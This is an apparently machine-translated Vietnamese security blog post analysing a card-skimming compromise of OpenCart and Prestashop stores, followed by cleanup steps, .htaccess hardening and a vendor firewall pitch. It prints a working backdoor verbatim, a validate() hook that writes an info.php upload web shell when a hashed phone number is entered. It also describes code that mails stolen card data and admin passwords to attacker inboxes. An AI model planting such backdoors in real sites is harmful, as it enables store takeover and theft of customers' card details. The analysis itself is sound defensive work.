OpenCart và Prestashop là giải pháp miễn phí và mã nguồn mở để quản lý hoạt động thương mại điện tử. Dù bạn là startup hay thương hiệu đã thành lập, với 13.000+ mô-đun, OpenCart có thứ cho mọi người. Cũng, OpenCart liên tục cố gắng nâng cao trải nghiệm khách hàng và thậm chí đã hợp tác dự án pilot với Google. Tuy nhiên, sự phổ biến cũng thu hút sự chú ý không mong muốn của hacker. Nhiều cửa hàng OpenCart đã trải qua hack admin/common/login.php cuối cùng dẫn đến hack thẻ tín dụng OpenCart. Vì mục tiêu chính của kẻ tấn công là giành lợi ích tiền tệ từ tấn công vào trang OpenCart. Nhà nghiên cứu tại Astra đã khám phá cuộc tấn công hack thẻ tín dụng trên cửa hàng OpenCart. Bài viết này sẽ giải thích phương pháp phân tích từng bước cho cuộc tấn công này.
Hack Thẻ Tín Dụng: Phương Thức Thanh Toán Giả Mới Được Thêm
Các cuộc tấn công này thường không bị phát hiện trong thời gian dài. Cũng, chủ trang web chỉ nhận ra tấn công khi khách hàng phàn nàn. Trong kịch bản này, khách hàng phàn nàn về thẻ tín dụng bị xâm phạm chỉ được dùng trên một cửa hàng OpenCart cụ thể. Nghiên cứu thêm cũng tiết lộ sự hiện diện của biểu mẫu lừa đảo (phishing form) trên trang. Hơn nữa, hack mật khẩu admin cũng được phát hiện. Trong trường hợp cụ thể này, nhà nghiên cứu tại Astra đã xác định một biểu mẫu lừa đảo đánh cắp thẻ tín dụng bị nhiễm. Đó là một biểu mẫu thanh toán hợp pháp được chèn mã độc trên trang.
Đây là hình ảnh biểu mẫu lừa đảo hack thẻ tín dụng. Tuy nhiên, biểu mẫu lừa đảo này gửi thông tin ngân hàng của người dùng đến domain do kẻ tấn công kiểm soát. Hơn nữa, kẻ tấn công đã vô hiệu hóa cổng thanh toán mặc định như PayPal. Vì vậy, một vài điểm tương đồng giữa tất cả các trang OpenCart bị nhiễm như vậy là:
- Sự hiện diện của file không xác định trước đó.
- Hành vi đăng nhập bất thường.
- Admin database mới mà admin trang web không có thông tin.
- Người dùng phàn nàn về giao dịch gian lận.
- Công cụ phân tích gói tin hiển thị lưu lượng đi ra đến domain không xác định.
- Phương thức thanh toán mới được thêm mà trước đây không tồn tại.
Hack Thẻ Tín Dụng OpenCart: Ví Dụ
Cuộc tấn công này có thể làm chủ cửa hàng OpenCart & Prestashop bất lực. Thường, người dùng bị ảnh hưởng có thể tìm thấy phàn nàn về hack thẻ tín dụng trên diễn đàn cộng đồng. Cũng, các chủ đề này thường chứa nhiều người dùng bị ảnh hưởng bởi cùng một cuộc tấn công!
Được Truy Cập: Hack Mật Khẩu Admin
Để chèn cửa hậu (backdoor), kẻ tấn công trước tiên cần lấy đặc quyền admin. Để làm vậy, kẻ tấn công khai thác lỗ hổng trong cửa hàng. Sau đó, kẻ tấn công dùng hàm nguy hiểm như eval(base64_decode) để chạy mã độc trên máy chủ. Một số lỗ hổng OpenCart phổ biến có thể dẫn đến hack:
SQL Injection OpenCart
OpenCart trước phiên bản 2.3.0.0 dễ bị SQLi. Mặc dù nó cần đặc quyền admin để khai thác. Nhưng CVE-2009-1027 làm OpenCart dễ bị SQLi. Bên cạnh đó, mô-đun lỗi (buggy modules) có thể là nguyên nhân SQLi.
Thực Thi Mã Từ Xa (Remote Code Execution) OpenCart
CVE-2010-0956 làm OpenCart dễ bị thực thi mã từ xa. Lỗ hổng tìm thấy trong index.php. Điều này có thể dẫn đến xâm phạm máy chủ. Cũng, hàm json_decode của OpenCart có thể dẫn đến RCE.
Thông Tin Đăng Nhập Yếu (Weak Credentials) OpenCart
Mật khẩu yếu và phổ biến có thể dẫn đến xâm phạm. Một tấn công brute force đơn giản sẽ tiết lộ máy chủ.
XSS OpenCart
Kẻ tấn công có thể lừa admin bằng XSS. CVE-2015-4671 làm index.php dễ bị XSS. Tham số zone_id dễ bị tấn công có thể dẫn đến hack.
Khai Thác Zero-Day OpenCart
Rất có thể kẻ tấn công đã khám phá lỗ hổng mới. Dùng đó, chúng có thể xâm phạm cửa hàng OpenCart. Khả năng này thấp nhưng hoàn toàn khả thi.
Nhiễm Mọi Thứ: Hack Thẻ Tín Dụng
Một khi kẻ tấn công xâm nhập hệ thống, chúng cố gắng xâm phạm tất cả lớp của trang. Trong trường hợp cụ thể này, nhà nghiên cứu từ Astra tìm thấy rằng tất cả mật khẩu khách hàng và admin đã bị xâm phạm. Bên cạnh đó, kẻ tấn công có quyền truy cập cơ sở dữ liệu. Cũng, cửa hậu do kẻ tấn công chèn có thể xâm phạm tính toàn vẹn của cơ sở dữ liệu. Vì vậy, truy cập cơ sở dữ liệu có thể dùng để đánh cắp thông tin nhạy cảm như mật khẩu user, tên, địa chỉ, đơn hàng, v.v.
Hơn nữa, nhà nghiên cứu tại Astra khám phá hai phương thức thanh toán bị xâm phạm. Chúng là:
- Authorize.net AIM.
- pp_pro.
Cả hai phương thức thanh toán này giúp thực hiện hack thẻ tín dụng OpenCart, Prestashop. Cả hai đều bị chèn mã độc. Đoạn mã như sau:
Ở đây, kẻ tấn công dùng thư viện Curl của PHP để tạo yêu cầu HTTP. Sau đó, email được soạn thảo dùng Smail MTA. Smail là tác nhân thư (mailing agent) nhẹ và di động. Email này chứa thông tin nhạy cảm về:
- ID đơn hàng (Order ID).
- Tên người thanh toán (Payment Firstname).
- Họ người thanh toán (Payment Lastname).
- Địa chỉ.
- Thành phố thanh toán (Payment city).
- Ngày hết hạn và tháng của Thẻ Tín Dụng.
- Số CVV.
- Số Thẻ Tín Dụng.
Tất cả thông tin này được gom lại và gửi đến địa chỉ Yopmail. Yopmail là dịch vụ email ẩn danh, do đó khó truy tìm kẻ tấn công. Tuy nhiên vì nó công khai, hộp thư có thể truy cập bởi bất kỳ ai. Để tránh điều này, kẻ tấn công dùng bí danh (aliases). Đây là tính năng bảo mật của Yopmail. Do đó rất khó tìm hộp thư gốc của kẻ tấn công.
Hack Authorize.net
Authorized.net là giải pháp thanh toán hoạt động trên cửa hàng OpenCart. Kẻ tấn công rất có thể nhắm vào phương thức này để đánh cắp thông tin thẻ tín dụng. Do đó, nếu phương thức này bật đột ngột thì trang của bạn có thể là mục tiêu hack thẻ tín dụng OpenCart. Hình dưới cho thấy phương thức thanh toán hiện trông như đã bật do kẻ tấn công làm.
Tuy nhiên, nếu bạn đã bật authorize.net, thì có thể kẻ tấn công vô hiệu hóa chúng để cài extension lừa đảo tùy chỉnh. Do đó, thông báo như "merchant ID disabled" có thể xuất hiện. Bên cạnh đó, phương thức thanh toán có thể mất từ trang extension. Tất cả dấu hiệu này gợi ý cố gắng đánh cắp thông tin thẻ tín dụng. Vì vậy, khuyên nên thông báo cho khách hàng về thẻ bị đánh cắp. Nếu bạn hoạt động trong EU hoặc xử lý dữ liệu khách EU, GDPR bắt buộc phải tiết lộ thông tin này.
Duy Trì Sự Kiên Trì: admin/common/login.php Bị Hack
Một khi kẻ tấn công có quyền admin, bước tiếp theo là sửa file lõi. Sửa file lõi giúp kẻ tấn công giữ truy cập liên tục. Để duy trì truy cập liên tục, kẻ tấn công cũng chèn trang đăng nhập/admin. Dưới đây là đoạn mã của admin/common/login.php bị hack.
Rõ ràng từ mã độc rằng kẻ tấn công dùng Smail để gửi email. Smail cho phép người dùng thực hiện mọi tác vụ qua dòng lệnh. Làm cho nó thành lựa chọn đầu tiên cho kẻ tấn công. Sau đó, email được soạn thảo dùng thông tin đăng nhập. Email chứa tên người dùng và mật khẩu được gửi đến hộp thư của kẻ tấn công. Ở đây, kẻ tấn công liệt kê admin@wsxdn.com làm hộp thư của họ.
Hơn nữa, mã này chạy mỗi khi admin đăng nhập. Do đó kẻ tấn công có thể xem qua email để biết thông tin đăng nhập mới nhất. Mã độc này cho phép kẻ tấn công duy trì truy cập liên tục. Bên cạnh đó, cửa hậu như info.php cũng giúp kẻ tấn công duy trì sự kiên trì. Info.php sẽ được thảo luận sau.
Tránh Phát Hiện: Bay Thấp Với Đăng Ký Miễn Phí
Trong trường hợp cụ thể này, trang cho phép đăng ký miễn phí. Do đó kẻ tấn công sửa mã sao cho user bình thường có thể lấy reverse shell. Mã độc trông như sau.
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
Mã này kiểm tra một số điện thoại cụ thể. Khi nhập số đó, nó cho phép tải file lên. Nhà nghiên cứu Astra đã khám phá quy trình từng bước như dưới:
- Bước 1: Kẻ tấn công dùng đăng ký miễn phí tạo nhiều user mới. Nhiều tài khoản nghĩa là khả năng phát hiện tối thiểu.
- Bước 2: Sau đó, kẻ tấn công nhập một Số Điện Thoại cụ thể vào trường nhập. Kẻ tấn công che giấu Số Điện Thoại thật bằng mã hóa md5. Chuỗi mã hóa là
66b6d63b9634e1159e53e29858de2c2d. Số điện thoại này đóng vai trò chìa khóa chính (master key) để tải cửa hậu. - Bước 3: Ngay khi số điện thoại được thêm, file tên
info.phpđược tạo. Vì vậy URL cuối trông nhưexample.com/info.php. - Bước 4: Khi file
info.phpđược truy cập bởi kẻ tấn công, nó cho họ khả năng tải file lên. - Bước 5: Tùy chọn tải này cho phép kẻ tấn công tải file PHP nhiễm mã độc. Các file này mở kết nối TCP, ICMP ngược (reverse) đến kẻ tấn công. Khi file được tải lên thư mục gốc, kết quả có thể thảm họa hơn!
Bên cạnh đó, kẻ tấn công cũng giấu cửa hậu trong phần hình ảnh (Images section). Vì khả năng tìm file trong Thư Mục Hình Ảnh rất thấp, nó cung cấp lớp che giấu tốt. Kẻ tấn công tìm cách tái nhiễm trang từ thư mục hình ảnh trong trường hợp dọn dẹp!
Dọn Dẹp Sau Cuộc Tấn Công
Bước chính sau tấn công là dọn dẹp toàn diện. Xóa file bị nhiễm và khôi phục từ bản sao lưu. Nếu bản sao lưu không có, cài mới. Đặc biệt các file thanh toán cần khôi phục. Cần chú ý các file sau:
- /admin/controller/extension/payment.php.
- /admin/controller/common/login.php.
- /catalog/controller/payment/authorizenet_aim.php.
Các file này bị chèn mã độc từ hack thẻ tín dụng OpenCart & Prestashop. Khôi phục file này ngay lập tức. Bên cạnh đó, tìm file bị sửa đổi bởi kẻ tấn công. Có thể làm bằng lệnh SSH sau:
$ find ./ -type f -mtime -15
Xem dấu thời gian (timestamps) và xóa file bị sửa bởi kẻ tấn công. Cũng, công cụ như PhpMyAdmin rất hữu ích khi dọn dẹp hỗn loạn này.
Hình ảnh mẫu của PhpMyAdmin được dùng để phát hiện domain độc hại.
Giảm Thiếu Từ Cuộc Tấn Công
Bảo Vệ Thư Mục Admin
Đổi tên thư mục admin. Vì điều này làm cho kẻ tấn công khó tìm thấy nó. Hơn nữa, dùng .htaccess để từ chối tất cả IP truy cập thư mục đăng nhập trừ IP admin.
Bảo Vệ Catalogue
.htaccess cũng có thể dùng để bảo vệ catalog và file nhạy cảm như .txt, .twig v.v. Khớp file (File match) có thể làm việc. Vì vậy, chỉ cần thêm các dòng sau vào file .htaccess theo yêu cầu.
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
Hạn Chế Quyền Thư Mục
Đảm bảo chỉ admin mới truy cập file và thư mục con OpenCart. Để làm vậy, chỉ cần thêm mã sau vào file .htaccess.
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
Hạn Chế Quyền File
Bảo vệ file nhạy cảm bằng cách đặt quyền file thành 644 hoặc 444. Vì điều này ngăn người khác ghi vào chúng. Một số file nhạy cảm:
- config.php
- index.php
- admin/config.php
- admin/index.php
- system/startup.php
Tường Lửa Astra
Hack thẻ tín dụng Open Cart & Prestashop có thể gây hại nghiêm trọng đến uy tín cửa hàng. Người dùng có thể cảm thấy không an toàn khi thanh toán trực tuyến. Do đó, cách tốt nhất là ngăn chặn các cuộc tấn công như vậy trong tương lai gần. Vì vậy, có thể làm bằng tường lửa. Tường lửa như Astra giám sát tất cả lưu lượng cho yêu cầu xấu. Astra firewall đảm bảo chỉ yêu cầu an toàn đến máy chủ. Bên cạnh đó, Astra cũng thông báo về đăng nhập mới và sửa đổi file. Cũng, với Astra giữ cửa hàng OpenCart & PrestaShop an toàn khỏi hack admin/common/login.php.